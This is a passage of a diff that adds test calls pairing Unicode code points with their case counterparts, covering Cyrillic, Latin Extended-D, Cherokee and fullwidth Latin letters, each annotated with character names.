+test(0xA699, 0xA698); // CYRILLIC SMALL LETTER DOUBLE O, CYRILLIC CAPITAL LETTER DOUBLE O
+test(0xA69A, 0xA69B); // CYRILLIC CAPITAL LETTER CROSSED O, CYRILLIC SMALL LETTER CROSSED O
+test(0xA69B, 0xA69A); // CYRILLIC SMALL LETTER CROSSED O, CYRILLIC CAPITAL LETTER CROSSED O
+test(0xA722, 0xA723); // LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF, LATIN SMALL LETTER EGYPTOLOGICAL ALEF
+test(0xA723, 0xA722); // LATIN SMALL LETTER EGYPTOLOGICAL ALEF, LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF
+test(0xA724, 0xA725); // LATIN CAPITAL LETTER EGYPTOLOGICAL AIN, LATIN SMALL LETTER EGYPTOLOGICAL AIN
+test(0xA725, 0xA724); // LATIN SMALL LETTER EGYPTOLOGICAL AIN, LATIN CAPITAL LETTER EGYPTOLOGICAL AIN
+test(0xA726, 0xA727); // LATIN CAPITAL LETTER HENG, LATIN SMALL LETTER HENG
+test(0xA727, 0xA726); // LATIN SMALL LETTER HENG, LATIN CAPITAL LETTER HENG
+test(0xA728, 0xA729); // LATIN CAPITAL LETTER TZ, LATIN SMALL LETTER TZ
+test(0xA729, 0xA728); // LATIN SMALL LETTER TZ, LATIN CAPITAL LETTER TZ
+test(0xA72A, 0xA72B); // LATIN CAPITAL LETTER TRESILLO, LATIN SMALL LETTER TRESILLO
+test(0xA72B, 0xA72A); // LATIN SMALL LETTER TRESILLO, LATIN CAPITAL LETTER TRESILLO
+test(0xA72C, 0xA72D); // LATIN CAPITAL LETTER CUATRILLO, LATIN SMALL LETTER CUATRILLO
+test(0xA72D, 0xA72C); // LATIN SMALL LETTER CUATRILLO, LATIN CAPITAL LETTER CUATRILLO
+test(0xA72E, 0xA72F); // LATIN CAPITAL LETTER CUATRILLO WITH COMMA, LATIN SMALL LETTER CUATRILLO WITH COMMA
+test(0xA72F, 0xA72E); // LATIN SMALL LETTER CUATRILLO WITH COMMA, LATIN CAPITAL LETTER CUATRILLO WITH COMMA
+test(0xA732, 0xA733); // LATIN CAPITAL LETTER AA, LATIN SMALL LETTER AA
+test(0xA733, 0xA732); // LATIN SMALL LETTER AA, LATIN CAPITAL LETTER AA
+test(0xA734, 0xA735); // LATIN CAPITAL LETTER AO, LATIN SMALL LETTER AO
+test(0xA735, 0xA734); // LATIN SMALL LETTER AO, LATIN CAPITAL LETTER AO
+test(0xA736, 0xA737); // LATIN CAPITAL LETTER AU, LATIN SMALL LETTER AU
+test(0xA737, 0xA736); // LATIN SMALL LETTER AU, LATIN CAPITAL LETTER AU
+test(0xA738, 0xA739); // LATIN CAPITAL LETTER AV, LATIN SMALL LETTER AV
+test(0xA739, 0xA738); // LATIN SMALL LETTER AV, LATIN CAPITAL LETTER AV
+test(0xA73A, 0xA73B); // LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR, LATIN SMALL LETTER AV WITH HORIZONTAL BAR
+test(0xA73B, 0xA73A); // LATIN SMALL LETTER AV WITH HORIZONTAL BAR, LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR
+test(0xA73C, 0xA73D); // LATIN CAPITAL LETTER AY, LATIN SMALL LETTER AY
+test(0xA73D, 0xA73C); // LATIN SMALL LETTER AY, LATIN CAPITAL LETTER AY
+test(0xA73E, 0xA73F); // LATIN CAPITAL LETTER REVERSED C WITH DOT, LATIN SMALL LETTER REVERSED C WITH DOT
+test(0xA73F, 0xA73E); // LATIN SMALL LETTER REVERSED C WITH DOT, LATIN CAPITAL LETTER REVERSED C WITH DOT
+test(0xA740, 0xA741); // LATIN CAPITAL LETTER K WITH STROKE, LATIN SMALL LETTER K WITH STROKE
+test(0xA741, 0xA740); // LATIN SMALL LETTER K WITH STROKE, LATIN CAPITAL LETTER K WITH STROKE
+test(0xA742, 0xA743); // LATIN CAPITAL LETTER K WITH DIAGONAL STROKE, LATIN SMALL LETTER K WITH DIAGONAL STROKE
+test(0xA743, 0xA742); // LATIN SMALL LETTER K WITH DIAGONAL STROKE, LATIN CAPITAL LETTER K WITH DIAGONAL STROKE
+test(0xA744, 0xA745); // LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE, LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE
+test(0xA745, 0xA744); // LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE, LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE
+test(0xA746, 0xA747); // LATIN CAPITAL LETTER BROKEN L, LATIN SMALL LETTER BROKEN L
+test(0xA747, 0xA746); // LATIN SMALL LETTER BROKEN L, LATIN CAPITAL LETTER BROKEN L
+test(0xA748, 0xA749); // LATIN CAPITAL LETTER L WITH HIGH STROKE, LATIN SMALL LETTER L WITH HIGH STROKE
+test(0xA749, 0xA748); // LATIN SMALL LETTER L WITH HIGH STROKE, LATIN CAPITAL LETTER L WITH HIGH STROKE
+test(0xA74A, 0xA74B); // LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY, LATIN SMALL LETTER O WITH LONG STROKE OVERLAY
+test(0xA74B, 0xA74A); // LATIN SMALL LETTER O WITH LONG STROKE OVERLAY, LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY
+test(0xA74C, 0xA74D); // LATIN CAPITAL LETTER O WITH LOOP, LATIN SMALL LETTER O WITH LOOP
+test(0xA74D, 0xA74C); // LATIN SMALL LETTER O WITH LOOP, LATIN CAPITAL LETTER O WITH LOOP
+test(0xA74E, 0xA74F); // LATIN CAPITAL LETTER OO, LATIN SMALL LETTER OO
+test(0xA74F, 0xA74E); // LATIN SMALL LETTER OO, LATIN CAPITAL LETTER OO
+test(0xA750, 0xA751); // LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER, LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER
+test(0xA751, 0xA750); // LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER, LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER
+test(0xA752, 0xA753); // LATIN CAPITAL LETTER P WITH FLOURISH, LATIN SMALL LETTER P WITH FLOURISH
+test(0xA753, 0xA752); // LATIN SMALL LETTER P WITH FLOURISH, LATIN CAPITAL LETTER P WITH FLOURISH
+test(0xA754, 0xA755); // LATIN CAPITAL LETTER P WITH SQUIRREL TAIL, LATIN SMALL LETTER P WITH SQUIRREL TAIL
+test(0xA755, 0xA754); // LATIN SMALL LETTER P WITH SQUIRREL TAIL, LATIN CAPITAL LETTER P WITH SQUIRREL TAIL
+test(0xA756, 0xA757); // LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER, LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER
+test(0xA757, 0xA756); // LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER, LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER
+test(0xA758, 0xA759); // LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE, LATIN SMALL LETTER Q WITH DIAGONAL STROKE
+test(0xA759, 0xA758); // LATIN SMALL LETTER Q WITH DIAGONAL STROKE, LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE
+test(0xA75A, 0xA75B); // LATIN CAPITAL LETTER R ROTUNDA, LATIN SMALL LETTER R ROTUNDA
+test(0xA75B, 0xA75A); // LATIN SMALL LETTER R ROTUNDA, LATIN CAPITAL LETTER R ROTUNDA
+test(0xA75C, 0xA75D); // LATIN CAPITAL LETTER RUM ROTUNDA, LATIN SMALL LETTER RUM ROTUNDA
+test(0xA75D, 0xA75C); // LATIN SMALL LETTER RUM ROTUNDA, LATIN CAPITAL LETTER RUM ROTUNDA
+test(0xA75E, 0xA75F); // LATIN CAPITAL LETTER V WITH DIAGONAL STROKE, LATIN SMALL LETTER V WITH DIAGONAL STROKE
+test(0xA75F, 0xA75E); // LATIN SMALL LETTER V WITH DIAGONAL STROKE, LATIN CAPITAL LETTER V WITH DIAGONAL STROKE
+test(0xA760, 0xA761); // LATIN CAPITAL LETTER VY, LATIN SMALL LETTER VY
+test(0xA761, 0xA760); // LATIN SMALL LETTER VY, LATIN CAPITAL LETTER VY
+test(0xA762, 0xA763); // LATIN CAPITAL LETTER VISIGOTHIC Z, LATIN SMALL LETTER VISIGOTHIC Z
+test(0xA763, 0xA762); // LATIN SMALL LETTER VISIGOTHIC Z, LATIN CAPITAL LETTER VISIGOTHIC Z
+test(0xA764, 0xA765); // LATIN CAPITAL LETTER THORN WITH STROKE, LATIN SMALL LETTER THORN WITH STROKE
+test(0xA765, 0xA764); // LATIN SMALL LETTER THORN WITH STROKE, LATIN CAPITAL LETTER THORN WITH STROKE
+test(0xA766, 0xA767); // LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER, LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER
+test(0xA767, 0xA766); // LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER, LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER
+test(0xA768, 0xA769); // LATIN CAPITAL LETTER VEND, LATIN SMALL LETTER VEND
+test(0xA769, 0xA768); // LATIN SMALL LETTER VEND, LATIN CAPITAL LETTER VEND
+test(0xA76A, 0xA76B); // LATIN CAPITAL LETTER ET, LATIN SMALL LETTER ET
+test(0xA76B, 0xA76A); // LATIN SMALL LETTER ET, LATIN CAPITAL LETTER ET
+test(0xA76C, 0xA76D); // LATIN CAPITAL LETTER IS, LATIN SMALL LETTER IS
+test(0xA76D, 0xA76C); // LATIN SMALL LETTER IS, LATIN CAPITAL LETTER IS
+test(0xA76E, 0xA76F); // LATIN CAPITAL LETTER CON, LATIN SMALL LETTER CON
+test(0xA76F, 0xA76E); // LATIN SMALL LETTER CON, LATIN CAPITAL LETTER CON
+test(0xA779, 0xA77A); // LATIN CAPITAL LETTER INSULAR D, LATIN SMALL LETTER INSULAR D
+test(0xA77A, 0xA779); // LATIN SMALL LETTER INSULAR D, LATIN CAPITAL LETTER INSULAR D
+test(0xA77B, 0xA77C); // LATIN CAPITAL LETTER INSULAR F, LATIN SMALL LETTER INSULAR F
+test(0xA77C, 0xA77B); // LATIN SMALL LETTER INSULAR F, LATIN CAPITAL LETTER INSULAR F
+test(0xA77D, 0x1D79); // LATIN CAPITAL LETTER INSULAR G, LATIN SMALL LETTER INSULAR G
+test(0xA77E, 0xA77F); // LATIN CAPITAL LETTER TURNED INSULAR G, LATIN SMALL LETTER TURNED INSULAR G
+test(0xA77F, 0xA77E); // LATIN SMALL LETTER TURNED INSULAR G, LATIN CAPITAL LETTER TURNED INSULAR G
+test(0xA780, 0xA781); // LATIN CAPITAL LETTER TURNED L, LATIN SMALL LETTER TURNED L
+test(0xA781, 0xA780); // LATIN SMALL LETTER TURNED L, LATIN CAPITAL LETTER TURNED L
+test(0xA782, 0xA783); // LATIN CAPITAL LETTER INSULAR R, LATIN SMALL LETTER INSULAR R
+test(0xA783, 0xA782); // LATIN SMALL LETTER INSULAR R, LATIN CAPITAL LETTER INSULAR R
+test(0xA784, 0xA785); // LATIN CAPITAL LETTER INSULAR S, LATIN SMALL LETTER INSULAR S
+test(0xA785, 0xA784); // LATIN SMALL LETTER INSULAR S, LATIN CAPITAL LETTER INSULAR S
+test(0xA786, 0xA787); // LATIN CAPITAL LETTER INSULAR T, LATIN SMALL LETTER INSULAR T
+test(0xA787, 0xA786); // LATIN SMALL LETTER INSULAR T, LATIN CAPITAL LETTER INSULAR T
+test(0xA78B, 0xA78C); // LATIN CAPITAL LETTER SALTILLO, LATIN SMALL LETTER SALTILLO
+test(0xA78C, 0xA78B); // LATIN SMALL LETTER SALTILLO, LATIN CAPITAL LETTER SALTILLO
+test(0xA78D, 0x0265); // LATIN CAPITAL LETTER TURNED H, LATIN SMALL LETTER TURNED H
+test(0xA790, 0xA791); // LATIN CAPITAL LETTER N WITH DESCENDER, LATIN SMALL LETTER N WITH DESCENDER
+test(0xA791, 0xA790); // LATIN SMALL LETTER N WITH DESCENDER, LATIN CAPITAL LETTER N WITH DESCENDER
+test(0xA792, 0xA793); // LATIN CAPITAL LETTER C WITH BAR, LATIN SMALL LETTER C WITH BAR
+test(0xA793, 0xA792); // LATIN SMALL LETTER C WITH BAR, LATIN CAPITAL LETTER C WITH BAR
+test(0xA794, 0xA7C4); // LATIN SMALL LETTER C WITH PALATAL HOOK, LATIN CAPITAL LETTER C WITH PALATAL HOOK
+test(0xA796, 0xA797); // LATIN CAPITAL LETTER B WITH FLOURISH, LATIN SMALL LETTER B WITH FLOURISH
+test(0xA797, 0xA796); // LATIN SMALL LETTER B WITH FLOURISH, LATIN CAPITAL LETTER B WITH FLOURISH
+test(0xA798, 0xA799); // LATIN CAPITAL LETTER F WITH STROKE, LATIN SMALL LETTER F WITH STROKE
+test(0xA799, 0xA798); // LATIN SMALL LETTER F WITH STROKE, LATIN CAPITAL LETTER F WITH STROKE
+test(0xA79A, 0xA79B); // LATIN CAPITAL LETTER VOLAPUK AE, LATIN SMALL LETTER VOLAPUK AE
+test(0xA79B, 0xA79A); // LATIN SMALL LETTER VOLAPUK AE, LATIN CAPITAL LETTER VOLAPUK AE
+test(0xA79C, 0xA79D); // LATIN CAPITAL LETTER VOLAPUK OE, LATIN SMALL LETTER VOLAPUK OE
+test(0xA79D, 0xA79C); // LATIN SMALL LETTER VOLAPUK OE, LATIN CAPITAL LETTER VOLAPUK OE
+test(0xA79E, 0xA79F); // LATIN CAPITAL LETTER VOLAPUK UE, LATIN SMALL LETTER VOLAPUK UE
+test(0xA79F, 0xA79E); // LATIN SMALL LETTER VOLAPUK UE, LATIN CAPITAL LETTER VOLAPUK UE
+test(0xA7A0, 0xA7A1); // LATIN CAPITAL LETTER G WITH OBLIQUE STROKE, LATIN SMALL LETTER G WITH OBLIQUE STROKE
+test(0xA7A1, 0xA7A0); // LATIN SMALL LETTER G WITH OBLIQUE STROKE, LATIN CAPITAL LETTER G WITH OBLIQUE STROKE
+test(0xA7A2, 0xA7A3); // LATIN CAPITAL LETTER K WITH OBLIQUE STROKE, LATIN SMALL LETTER K WITH OBLIQUE STROKE
+test(0xA7A3, 0xA7A2); // LATIN SMALL LETTER K WITH OBLIQUE STROKE, LATIN CAPITAL LETTER K WITH OBLIQUE STROKE
+test(0xA7A4, 0xA7A5); // LATIN CAPITAL LETTER N WITH OBLIQUE STROKE, LATIN SMALL LETTER N WITH OBLIQUE STROKE
+test(0xA7A5, 0xA7A4); // LATIN SMALL LETTER N WITH OBLIQUE STROKE, LATIN CAPITAL LETTER N WITH OBLIQUE STROKE
+test(0xA7A6, 0xA7A7); // LATIN CAPITAL LETTER R WITH OBLIQUE STROKE, LATIN SMALL LETTER R WITH OBLIQUE STROKE
+test(0xA7A7, 0xA7A6); // LATIN SMALL LETTER R WITH OBLIQUE STROKE, LATIN CAPITAL LETTER R WITH OBLIQUE STROKE
+test(0xA7A8, 0xA7A9); // LATIN CAPITAL LETTER S WITH OBLIQUE STROKE, LATIN SMALL LETTER S WITH OBLIQUE STROKE
+test(0xA7A9, 0xA7A8); // LATIN SMALL LETTER S WITH OBLIQUE STROKE, LATIN CAPITAL LETTER S WITH OBLIQUE STROKE
+test(0xA7AA, 0x0266); // LATIN CAPITAL LETTER H WITH HOOK, LATIN SMALL LETTER H WITH HOOK (LATIN SMALL LETTER H HOOK)
+test(0xA7AB, 0x025C); // LATIN CAPITAL LETTER REVERSED OPEN E, LATIN SMALL LETTER REVERSED OPEN E (LATIN SMALL LETTER REVERSED EPSILON)
+test(0xA7AC, 0x0261); // LATIN CAPITAL LETTER SCRIPT G, LATIN SMALL LETTER SCRIPT G
+test(0xA7AD, 0x026C); // LATIN CAPITAL LETTER L WITH BELT, LATIN SMALL LETTER L WITH BELT (LATIN SMALL LETTER L BELT)
+test(0xA7AE, 0x026A); // LATIN CAPITAL LETTER SMALL CAPITAL I, LATIN LETTER SMALL CAPITAL I
+test(0xA7B0, 0x029E); // LATIN CAPITAL LETTER TURNED K, LATIN SMALL LETTER TURNED K
+test(0xA7B1, 0x0287); // LATIN CAPITAL LETTER TURNED T, LATIN SMALL LETTER TURNED T
+test(0xA7B2, 0x029D); // LATIN CAPITAL LETTER J WITH CROSSED-TAIL, LATIN SMALL LETTER J WITH CROSSED-TAIL (LATIN SMALL LETTER CROSSED-TAIL J)
+test(0xA7B3, 0xAB53); // LATIN CAPITAL LETTER CHI, LATIN SMALL LETTER CHI
+test(0xA7B4, 0xA7B5); // LATIN CAPITAL LETTER BETA, LATIN SMALL LETTER BETA
+test(0xA7B5, 0xA7B4); // LATIN SMALL LETTER BETA, LATIN CAPITAL LETTER BETA
+test(0xA7B6, 0xA7B7); // LATIN CAPITAL LETTER OMEGA, LATIN SMALL LETTER OMEGA
+test(0xA7B7, 0xA7B6); // LATIN SMALL LETTER OMEGA, LATIN CAPITAL LETTER OMEGA
+test(0xA7B8, 0xA7B9); // LATIN CAPITAL LETTER U WITH STROKE, LATIN SMALL LETTER U WITH STROKE
+test(0xA7B9, 0xA7B8); // LATIN SMALL LETTER U WITH STROKE, LATIN CAPITAL LETTER U WITH STROKE
+test(0xA7BA, 0xA7BB); // LATIN CAPITAL LETTER GLOTTAL A, LATIN SMALL LETTER GLOTTAL A
+test(0xA7BB, 0xA7BA); // LATIN SMALL LETTER GLOTTAL A, LATIN CAPITAL LETTER GLOTTAL A
+test(0xA7BC, 0xA7BD); // LATIN CAPITAL LETTER GLOTTAL I, LATIN SMALL LETTER GLOTTAL I
+test(0xA7BD, 0xA7BC); // LATIN SMALL LETTER GLOTTAL I, LATIN CAPITAL LETTER GLOTTAL I
+test(0xA7BE, 0xA7BF); // LATIN CAPITAL LETTER GLOTTAL U, LATIN SMALL LETTER GLOTTAL U
+test(0xA7BF, 0xA7BE); // LATIN SMALL LETTER GLOTTAL U, LATIN CAPITAL LETTER GLOTTAL U
+test(0xA7C0, 0xA7C1); // LATIN CAPITAL LETTER OLD POLISH O, LATIN SMALL LETTER OLD POLISH O
+test(0xA7C1, 0xA7C0); // LATIN SMALL LETTER OLD POLISH O, LATIN CAPITAL LETTER OLD POLISH O
+test(0xA7C2, 0xA7C3); // LATIN CAPITAL LETTER ANGLICANA W, LATIN SMALL LETTER ANGLICANA W
+test(0xA7C3, 0xA7C2); // LATIN SMALL LETTER ANGLICANA W, LATIN CAPITAL LETTER ANGLICANA W
+test(0xA7C4, 0xA794); // LATIN CAPITAL LETTER C WITH PALATAL HOOK, LATIN SMALL LETTER C WITH PALATAL HOOK
+test(0xA7C5, 0x0282); // LATIN CAPITAL LETTER S WITH HOOK, LATIN SMALL LETTER S WITH HOOK (LATIN SMALL LETTER S HOOK)
+test(0xA7C6, 0x1D8E); // LATIN CAPITAL LETTER Z WITH PALATAL HOOK, LATIN SMALL LETTER Z WITH PALATAL HOOK
+test(0xA7C7, 0xA7C8); // LATIN CAPITAL LETTER D WITH SHORT STROKE OVERLAY, LATIN SMALL LETTER D WITH SHORT STROKE OVERLAY
+test(0xA7C8, 0xA7C7); // LATIN SMALL LETTER D WITH SHORT STROKE OVERLAY, LATIN CAPITAL LETTER D WITH SHORT STROKE OVERLAY
+test(0xA7C9, 0xA7CA); // LATIN CAPITAL LETTER S WITH SHORT STROKE OVERLAY, LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+test(0xA7CA, 0xA7C9); // LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY, LATIN CAPITAL LETTER S WITH SHORT STROKE OVERLAY
+test(0xA7D0, 0xA7D1); // LATIN CAPITAL LETTER CLOSED INSULAR G, LATIN SMALL LETTER CLOSED INSULAR G
+test(0xA7D1, 0xA7D0); // LATIN SMALL LETTER CLOSED INSULAR G, LATIN CAPITAL LETTER CLOSED INSULAR G
+test(0xA7D6, 0xA7D7); // LATIN CAPITAL LETTER MIDDLE SCOTS S, LATIN SMALL LETTER MIDDLE SCOTS S
+test(0xA7D7, 0xA7D6); // LATIN SMALL LETTER MIDDLE SCOTS S, LATIN CAPITAL LETTER MIDDLE SCOTS S
+test(0xA7D8, 0xA7D9); // LATIN CAPITAL LETTER SIGMOID S, LATIN SMALL LETTER SIGMOID S
+test(0xA7D9, 0xA7D8); // LATIN SMALL LETTER SIGMOID S, LATIN CAPITAL LETTER SIGMOID S
+test(0xA7F5, 0xA7F6); // LATIN CAPITAL LETTER REVERSED HALF H, LATIN SMALL LETTER REVERSED HALF H
+test(0xA7F6, 0xA7F5); // LATIN SMALL LETTER REVERSED HALF H, LATIN CAPITAL LETTER REVERSED HALF H
+test(0xAB53, 0xA7B3); // LATIN SMALL LETTER CHI, LATIN CAPITAL LETTER CHI
+test(0xAB70, 0x13A0); // CHEROKEE SMALL LETTER A, CHEROKEE LETTER A
+test(0xAB71, 0x13A1); // CHEROKEE SMALL LETTER E, CHEROKEE LETTER E
+test(0xAB72, 0x13A2); // CHEROKEE SMALL LETTER I, CHEROKEE LETTER I
+test(0xAB73, 0x13A3); // CHEROKEE SMALL LETTER O, CHEROKEE LETTER O
+test(0xAB74, 0x13A4); // CHEROKEE SMALL LETTER U, CHEROKEE LETTER U
+test(0xAB75, 0x13A5); // CHEROKEE SMALL LETTER V, CHEROKEE LETTER V
+test(0xAB76, 0x13A6); // CHEROKEE SMALL LETTER GA, CHEROKEE LETTER GA
+test(0xAB77, 0x13A7); // CHEROKEE SMALL LETTER KA, CHEROKEE LETTER KA
+test(0xAB78, 0x13A8); // CHEROKEE SMALL LETTER GE, CHEROKEE LETTER GE
+test(0xAB79, 0x13A9); // CHEROKEE SMALL LETTER GI, CHEROKEE LETTER GI
+test(0xAB7A, 0x13AA); // CHEROKEE SMALL LETTER GO, CHEROKEE LETTER GO
+test(0xAB7B, 0x13AB); // CHEROKEE SMALL LETTER GU, CHEROKEE LETTER GU
+test(0xAB7C, 0x13AC); // CHEROKEE SMALL LETTER GV, CHEROKEE LETTER GV
+test(0xAB7D, 0x13AD); // CHEROKEE SMALL LETTER HA, CHEROKEE LETTER HA
+test(0xAB7E, 0x13AE); // CHEROKEE SMALL LETTER HE, CHEROKEE LETTER HE
+test(0xAB7F, 0x13AF); // CHEROKEE SMALL LETTER HI, CHEROKEE LETTER HI
+test(0xAB80, 0x13B0); // CHEROKEE SMALL LETTER HO, CHEROKEE LETTER HO
+test(0xAB81, 0x13B1); // CHEROKEE SMALL LETTER HU, CHEROKEE LETTER HU
+test(0xAB82, 0x13B2); // CHEROKEE SMALL LETTER HV, CHEROKEE LETTER HV
+test(0xAB83, 0x13B3); // CHEROKEE SMALL LETTER LA, CHEROKEE LETTER LA
+test(0xAB84, 0x13B4); // CHEROKEE SMALL LETTER LE, CHEROKEE LETTER LE
+test(0xAB85, 0x13B5); // CHEROKEE SMALL LETTER LI, CHEROKEE LETTER LI
+test(0xAB86, 0x13B6); // CHEROKEE SMALL LETTER LO, CHEROKEE LETTER LO
+test(0xAB87, 0x13B7); // CHEROKEE SMALL LETTER LU, CHEROKEE LETTER LU
+test(0xAB88, 0x13B8); // CHEROKEE SMALL LETTER LV, CHEROKEE LETTER LV
+test(0xAB89, 0x13B9); // CHEROKEE SMALL LETTER MA, CHEROKEE LETTER MA
+test(0xAB8A, 0x13BA); // CHEROKEE SMALL LETTER ME, CHEROKEE LETTER ME
+test(0xAB8B, 0x13BB); // CHEROKEE SMALL LETTER MI, CHEROKEE LETTER MI
+test(0xAB8C, 0x13BC); // CHEROKEE SMALL LETTER MO, CHEROKEE LETTER MO
+test(0xAB8D, 0x13BD); // CHEROKEE SMALL LETTER MU, CHEROKEE LETTER MU
+test(0xAB8E, 0x13BE); // CHEROKEE SMALL LETTER NA, CHEROKEE LETTER NA
+test(0xAB8F, 0x13BF); // CHEROKEE SMALL LETTER HNA, CHEROKEE LETTER HNA
+test(0xAB90, 0x13C0); // CHEROKEE SMALL LETTER NAH, CHEROKEE LETTER NAH
+test(0xAB91, 0x13C1); // CHEROKEE SMALL LETTER NE, CHEROKEE LETTER NE
+test(0xAB92, 0x13C2); // CHEROKEE SMALL LETTER NI, CHEROKEE LETTER NI
+test(0xAB93, 0x13C3); // CHEROKEE SMALL LETTER NO, CHEROKEE LETTER NO
+test(0xAB94, 0x13C4); // CHEROKEE SMALL LETTER NU, CHEROKEE LETTER NU
+test(0xAB95, 0x13C5); // CHEROKEE SMALL LETTER NV, CHEROKEE LETTER NV
+test(0xAB96, 0x13C6); // CHEROKEE SMALL LETTER QUA, CHEROKEE LETTER QUA
+test(0xAB97, 0x13C7); // CHEROKEE SMALL LETTER QUE, CHEROKEE LETTER QUE
+test(0xAB98, 0x13C8); // CHEROKEE SMALL LETTER QUI, CHEROKEE LETTER QUI
+test(0xAB99, 0x13C9); // CHEROKEE SMALL LETTER QUO, CHEROKEE LETTER QUO
+test(0xAB9A, 0x13CA); // CHEROKEE SMALL LETTER QUU, CHEROKEE LETTER QUU
+test(0xAB9B, 0x13CB); // CHEROKEE SMALL LETTER QUV, CHEROKEE LETTER QUV
+test(0xAB9C, 0x13CC); // CHEROKEE SMALL LETTER SA, CHEROKEE LETTER SA
+test(0xAB9D, 0x13CD); // CHEROKEE SMALL LETTER S, CHEROKEE LETTER S
+test(0xAB9E, 0x13CE); // CHEROKEE SMALL LETTER SE, CHEROKEE LETTER SE
+test(0xAB9F, 0x13CF); // CHEROKEE SMALL LETTER SI, CHEROKEE LETTER SI
+test(0xABA0, 0x13D0); // CHEROKEE SMALL LETTER SO, CHEROKEE LETTER SO
+test(0xABA1, 0x13D1); // CHEROKEE SMALL LETTER SU, CHEROKEE LETTER SU
+test(0xABA2, 0x13D2); // CHEROKEE SMALL LETTER SV, CHEROKEE LETTER SV
+test(0xABA3, 0x13D3); // CHEROKEE SMALL LETTER DA, CHEROKEE LETTER DA
+test(0xABA4, 0x13D4); // CHEROKEE SMALL LETTER TA, CHEROKEE LETTER TA
+test(0xABA5, 0x13D5); // CHEROKEE SMALL LETTER DE, CHEROKEE LETTER DE
+test(0xABA6, 0x13D6); // CHEROKEE SMALL LETTER TE, CHEROKEE LETTER TE
+test(0xABA7, 0x13D7); // CHEROKEE SMALL LETTER DI, CHEROKEE LETTER DI
+test(0xABA8, 0x13D8); // CHEROKEE SMALL LETTER TI, CHEROKEE LETTER TI
+test(0xABA9, 0x13D9); // CHEROKEE SMALL LETTER DO, CHEROKEE LETTER DO
+test(0xABAA, 0x13DA); // CHEROKEE SMALL LETTER DU, CHEROKEE LETTER DU
+test(0xABAB, 0x13DB); // CHEROKEE SMALL LETTER DV, CHEROKEE LETTER DV
+test(0xABAC, 0x13DC); // CHEROKEE SMALL LETTER DLA, CHEROKEE LETTER DLA
+test(0xABAD, 0x13DD); // CHEROKEE SMALL LETTER TLA, CHEROKEE LETTER TLA
+test(0xABAE, 0x13DE); // CHEROKEE SMALL LETTER TLE, CHEROKEE LETTER TLE
+test(0xABAF, 0x13DF); // CHEROKEE SMALL LETTER TLI, CHEROKEE LETTER TLI
+test(0xABB0, 0x13E0); // CHEROKEE SMALL LETTER TLO, CHEROKEE LETTER TLO
+test(0xABB1, 0x13E1); // CHEROKEE SMALL LETTER TLU, CHEROKEE LETTER TLU
+test(0xABB2, 0x13E2); // CHEROKEE SMALL LETTER TLV, CHEROKEE LETTER TLV
+test(0xABB3, 0x13E3); // CHEROKEE SMALL LETTER TSA, CHEROKEE LETTER TSA
+test(0xABB4, 0x13E4); // CHEROKEE SMALL LETTER TSE, CHEROKEE LETTER TSE
+test(0xABB5, 0x13E5); // CHEROKEE SMALL LETTER TSI, CHEROKEE LETTER TSI
+test(0xABB6, 0x13E6); // CHEROKEE SMALL LETTER TSO, CHEROKEE LETTER TSO
+test(0xABB7, 0x13E7); // CHEROKEE SMALL LETTER TSU, CHEROKEE LETTER TSU
+test(0xABB8, 0x13E8); // CHEROKEE SMALL LETTER TSV, CHEROKEE LETTER TSV
+test(0xABB9, 0x13E9); // CHEROKEE SMALL LETTER WA, CHEROKEE LETTER WA
+test(0xABBA, 0x13EA); // CHEROKEE SMALL LETTER WE, CHEROKEE LETTER WE
+test(0xABBB, 0x13EB); // CHEROKEE SMALL LETTER WI, CHEROKEE LETTER WI
+test(0xABBC, 0x13EC); // CHEROKEE SMALL LETTER WO, CHEROKEE LETTER WO
+test(0xABBD, 0x13ED); // CHEROKEE SMALL LETTER WU, CHEROKEE LETTER WU
+test(0xABBE, 0x13EE); // CHEROKEE SMALL LETTER WV, CHEROKEE LETTER WV
+test(0xABBF, 0x13EF); // CHEROKEE SMALL LETTER YA, CHEROKEE LETTER YA
+test(0xFF21, 0xFF41); // FULLWIDTH LATIN CAPITAL LETTER A, FULLWIDTH LATIN SMALL LETTER A
+test(0xFF22, 0xFF42); // FULLWIDTH LATIN CAPITAL LETTER B, FULLWIDTH LATIN SMALL LETTER B
+test(0xFF23, 0xFF43); // FULLWIDTH LATIN CAPITAL LETTER C, FULLWIDTH LATIN SMALL LETTER C
+test(0xFF24, 0xFF44); // FULLWIDTH LATIN CAPITAL LETTER D, FULLWIDTH LATIN SMALL LETTER D
+test(0xFF25, 0xFF45); // FULLWIDTH LATIN CAPITAL LETTER E, FULLWIDTH LATIN SMALL LETTER E
+test(0xFF26, 0xFF46); // FULLWIDTH LATIN CAPITAL LETTER F, FULLWIDTH LATIN SMALL LETTER F
+test(0xFF27, 0xFF47); // FULLWIDTH LATIN CAPITAL LETTER G, FULLWIDTH LATIN SMALL LETTER G
+test(0xFF28, 0xFF48); // FULLWIDTH LATIN CAPITAL LETTER H, FULLWIDTH LATIN SMALL LETTER H
+test(0xFF29, 0xFF49); // FULLWIDTH LATIN CAPITAL LETTER I, FULLWIDTH LATIN SMALL LETTER I
